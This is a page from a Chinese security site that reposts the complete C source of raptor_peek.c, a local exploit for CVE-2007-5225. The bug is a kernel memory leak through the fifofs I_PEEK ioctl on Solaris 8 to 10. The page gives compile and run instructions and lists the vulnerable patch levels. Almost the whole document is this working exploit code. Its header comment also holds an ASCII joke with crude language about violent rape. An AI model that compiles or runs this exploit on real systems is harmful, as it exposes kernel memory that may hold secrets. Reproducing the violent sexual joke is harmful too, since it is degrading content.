首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Solaris 8/9/10 fifofs I_PEEK Local Kernel memory Leak Exploit
来源:raptor@0xdeadbeef.info 作者:Marco 发布时间:2008-03-11  
/*
* $Id: raptor_peek.c,v 1.1 2007/10/18 08:09:02 raptor Exp $
*
* raptor_peek.c - Solaris fifofs I_PEEK kernel memory leak
* Copyright (c) 2007 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* [Lame] integer signedness error in FIFO filesystems (named pipes) on Sun
* Solaris 8 through 10 allows local users to read the contents of unspecified
* memory locations via a negative value to the I_PEEK ioctl (CVE-2007-5225).
*
*        /\   AS PART OF A VAST WORLD-WIDE CONSPIRACY             
*  hjm  /  \   I COMMAND THEE:  BEAT OFF UNTO ME                  
*      /,--.\                                                     
*     /< () >\   IF I SAY "FNORD" AT THE END OF A SENTENCE        
*    /  `--'  \   DOES THAT MAKE ME REALLY FUNNY OR SOMEONE       
*   /          \   WHO NEEDS TO GET FUCKING BEATEN TO NEAR        
*  /            \   DEATH AND THEN RAPED WITH A BROOM             
* /______________\                                                
*                  AS YOU CAN SEE THAT'S REALLY TWO JOKES IN ONE
*                   SO YOU REALLY GET YOUR MONEY'S WORTH HERE  
* Usage:
* $ gcc raptor_peek.c -o raptor_peek -Wall
* $ ./raptor_peek kerndump 666666
* [...]
* $ ls -l kerndump
* -rwx------   1 raptor   staff     666666 Oct 17 19:33 kerndump
*
* Vulnerable platforms (SPARC):
* Solaris 8 without patch 109454-06 [tested]
* Solaris 9 without patch 117471-04 [tested]
* Solaris 10 without patch 127737-01 [tested]
*
* Vulnerable platforms (x86):
* Solaris 8 without patch 109455-06 [untested]
* Solaris 9 without patch 117472-04 [untested]
* Solaris 10 without patch 127738-01 [untested]
*/

#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <stropts.h>
#include <unistd.h>
#include <sys/stat.h>

#define INFO1 "raptor_peek.c - Solaris fifofs I_PEEK kernel memory leak"
#define INFO2 "Copyright (c) 2007 Marco Ivaldi <raptor@0xdeadbeef.info>"

#define BADFIFO "/tmp/fnord"
#define BUFSIZE 1000000

int errno;

int main(int argc, char **argv)
{
int fd, fifo;
size_t out, bufsize = BUFSIZE;
char *buf;
struct strpeek peek;

/* print exploit information */
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);

/* read command line */
if (argc < 2) {
fprintf(stderr, "usage: %s outfile [outsize]\n\n", argv[0]);
exit(1);
}
if (argc > 2)
if ((bufsize = atoi(argv[2])) == 0) {
fprintf(stderr, "Error (atoi): invalid outsize\n");
exit(1);
}

/* print some output */
fprintf(stderr, "Using outfile\t: %s\n", argv[1]);
fprintf(stderr, "Using outsize\t: %u\n\n", bufsize);

/* prepare the output buffer */
if ((buf = (char *)malloc(bufsize)) == NULL) {
perror("Error (malloc)");
fprintf(stderr, "Hint: Try again with a smaller output size\n");
exit(1);
}
memset(buf, 0, bufsize);

/* create the named pipe */
unlink(BADFIFO);
if (mknod(BADFIFO, S_IFIFO | S_IRWXU, 0) < 0) {
perror("Error (mknod)");
exit(1);
}

switch(fork()) {
case -1: /* cannot fork */
perror("Error (fork)");
exit(1);
case 0: /* the child writes */
if ((fifo = open(BADFIFO, O_WRONLY, 0)) < 0) {
perror("Error (open)");
exit(1);
}
write(fifo, "FNORD", 5);
exit(0);
default: /* the parent reads */
/* FALL THROUGH */
;
}

/* perform the MAGICK */
if ((fifo = open(BADFIFO, O_RDONLY, 0)) < 0) {
perror("Error (open)");
exit(1);
}

memset(&peek, 0, sizeof(peek));
peek.databuf.buf = buf;
peek.databuf.maxlen = -1; /* FNORD! */

if (ioctl(fifo, I_PEEK, &peek) < 0 ) {
perror("Error (ioctl)");
close(fifo);
exit(1);
}

/* save output to outfile */
if ((fd = open(argv[1], O_RDWR | O_CREAT | O_TRUNC, 0700)) < 0) {
perror("Error (open)");
close(fifo);
exit(1);
}
out = write(fd, buf, bufsize);

fprintf(stderr, "FNORD! %u bytes written to %s\n", out, argv[1]);
fprintf(stderr, "Hint: Try also with a bigger output size\n");

/* cleanup (who cares about free?;) */
close(fd);
close(fifo);

exit(0);
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·KingSoft UpdateOcx2.dll SetUni
·phpMyNewsletter <= 0.8b5 (arch
·VHCS <= 2.4.7.1 (vhcs2_daemon)
·Motorola Timbuktu Pro <= 8.6.5
·zKup CMS 2.0 <= 2.3 Remote Upl
·MailEnable SMTP Service VRFY/E
·zKup CMS 2.0 <= 2.3 Remote Add
·Motorola Timbuktu Pro 8.6.5/8.
·ICQ Toolbar 2.3 ActiveX Remote
·Danneo CMS <= 0.5.1 Remote Bli
·MiniWebSvr 0.0.9a Remote Direc
·QuickTalk Forum <= 1.6 Remote
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved